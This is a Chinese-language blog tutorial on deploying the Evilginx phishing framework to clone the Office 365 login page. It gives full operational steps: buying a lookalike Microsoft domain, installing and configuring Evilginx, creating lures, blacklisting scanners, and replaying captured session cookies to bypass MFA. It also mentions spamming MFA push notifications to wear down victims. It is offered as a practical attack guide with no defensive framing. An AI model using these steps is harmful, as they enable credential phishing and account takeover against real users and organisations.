MFA验证可以被轻松绕过?

相关阅读

视频讲解

本期视频我们将给大家分享Evilginx中间人攻击框架,通过其中的phishlet模块来镜像Office 365套件网站,我们可以快速获取用户的用户名、密码以及cookie从而实现控制其帐户;在另一个实验中,我们假设已经有了用户名和密码,但是我们需要MFA验证码才可以登录,我们可以通过脚本不断给用户推送通知,造成用户视觉疲劳,最终控制帐户……

图文讲解

什么是 Evilginx?

图片[1]-MFA验证可以被轻松绕过?-FancyPig's blog

Evilginx是一个中间人攻击框架,用于网络钓鱼凭证和会话 cookie,然后可用于绕过双因素身份验证保护。该框架可以使用所谓的 phishlet 来镜像网站并欺骗用户输入凭据,例如 Office 365、Gmail 或 Netflix。

由于它是开源的,因此可以使用许多 phishlet,随时可用。

今天,我们重点介绍主版本中包含的 Office 365 phishlet

准备工作

  • 服务器
  • 域名

服务器

接下来我们需要选购一台服务器(基本上大部分网友还只是学生,年龄小于25岁的都可以注册到学生机,低至一个月10元)

然后,需要配置服务器环境,这里推荐使用Debian环境,坑会少些,如果您不会配置可以参考之前的小白教程

域名

域名您可以在下面的链接中购买,因为这里是钓鱼,模仿Office 365,因此建议买一个带microsoft的域名,会略显真实一些

我们这里以阿里云为例,我们搜索想要的域名

图片[2]-MFA验证可以被轻松绕过?-FancyPig's blog

购买完成后,在dns管理里设置解析即可,使用A类型(记录类型)解析到我们的服务器ip地址(主机记录)

 安装 Evilginx

首先,我们需要确保已安装wget命令

sudo apt update 
sudo apt install wget -y
图片[3]-MFA验证可以被轻松绕过?-FancyPig's blog

下载go文件

wget https://golang.org/dl/go1.17.linux-amd64.tar.gz

通过运行以下命令安装 Go语言

sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/

配置 PATH 环境变量

echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh
source /etc/profile.d/go.sh

下载github代码

这里需要强调的是原项目地址是

https://github.com/kgretzky/evilginx2

我们这里直接下载某热心网友已经更新好yaml文件的项目

https://github.com/BakkerJan/evilginx2.git

如果您想下载源项目,可以在下方git clone命令后面改成原项目链接

sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make

全局安装并运行

sudo make install
sudo evilginx
图片[4]-MFA验证可以被轻松绕过?-FancyPig's blog

现在我们已经运行了Evilginx,所以在下一步,我们要处理好配置问题

在这一过程中,你可能需要几个方便的命令,可以参考下表

动作命令
启动Evilginxsudo evilginx
退出Evilginxexit
获取钓鱼urllures get-url <id>
获取正在运行的配置文件config
查看全部phishletsphishlets
查看全部sessionssessions
查看指定sessionsessions <id>
清屏clear
隐藏Office 365 phishletphishlets hide o365
显示 Office 365 phishletphishlets unhide o365
相关命令整理
图片[5]-MFA验证可以被轻松绕过?-FancyPig's blog
注意钓鱼网站和配置文件的位置

配置Evilginx

首先,我们需要设置域名IP(将域名和IP替换为你自己的值!)。
可选的是,将黑名单设置为未授权,以阻止扫描器无关人员访问。这一点是强烈推荐的。

config domain <你刚刚购买的钓鱼域名>
config ip <你服务器的IP地址>
blacklist unauth
图片[6]-MFA验证可以被轻松绕过?-FancyPig's blog

我们配置Office 365 phishlet模板

phishlets hostname o365 <yourdomain>
phishlets enable o365
图片[7]-MFA验证可以被轻松绕过?-FancyPig's blog

如果你在这时得到一个SSL/TLS错误,你的DNS记录(还)没有到位。

当启用一个钓鱼网站时,Evilginx将从LetsEncrypt为新域名申请一个免费的SSL证书,这需要该域名是可以被正常访问的。

图片[8]-MFA验证可以被轻松绕过?-FancyPig's blog

在下一步,我们将为Office 365钓鱼网站设置诱饵,并设置重定向URL。这个URL是在凭证被钓鱼后使用的,可以是任何你喜欢的东西。在这种情况下,我们使用https://portal.office.com/。

lures create o365
lures edit 0 redirect_url https://portal.office.com
lures get-url 0
图片[9]-MFA验证可以被轻松绕过?-FancyPig's blog

我们的钓鱼网站现在是活跃的,可以通过https://login.miicrosofttonline.com/tHKNkmJtURL访问。

当您使用诱饵中的URL时,您将被作为一个 “认证 “会话处理,因此,不会被阻止。

图片[10]-MFA验证可以被轻松绕过?-FancyPig's blog

你也可以通过隐藏它来停用你的钓鱼网站。

phishlets hide o365

要取消隐藏的钓鱼网站,只需运行

phishlets unhide o365
图片[11]-MFA验证可以被轻松绕过?-FancyPig's blog

在应用程序中的任何时候,你都可以运行help或help <想要查看的命令>获取帮助菜单

图片[12]-MFA验证可以被轻松绕过?-FancyPig's blog

捕获MFA验证

  1. 用户输入钓鱼网站,并得到Office 365的登录屏幕。
  2. 输入用户名,并从Azure AD获取公司品牌。
  3. 用户提供密码
  4. 提示用户使用MFA
  5. 提示用户输入KMSI cookie。
  6. 用户被重定向到重定向URL。
  7. 凭证和会话令牌被捕获。
图片[13]-MFA验证可以被轻松绕过?-FancyPig's blog
图片[14]-MFA验证可以被轻松绕过?-FancyPig's blog

重放被盗令牌

  1. 浏览到https://portal.office.com。
  2. 这里帐户未登录
  3. 使用浏览器扩展删除Cookie。
  4. 从Evilginx复制Cookie,并导入会话。
  5. 在刷新页面后,会话被建立,MFA被绕过。
图片[15]-MFA验证可以被轻松绕过?-FancyPig's blog
图片[16]-MFA验证可以被轻松绕过?-FancyPig's blog
图片[17]-MFA验证可以被轻松绕过?-FancyPig's blog
图片[18]-MFA验证可以被轻松绕过?-FancyPig's blog

如果目标正在使用ADFS怎么办?

如果目标域使用ADFS,你应该用相应的ADFS域信息更新yaml文件

cd /
cd usr/share/evilginx/phishlets/
sudo nano o365.yaml
图片[19]-MFA验证可以被轻松绕过?-FancyPig's blog
© 版权声明
THE END
喜欢就支持一下吧
点赞18赞赏 分享
评论 共3条

请登录后发表评论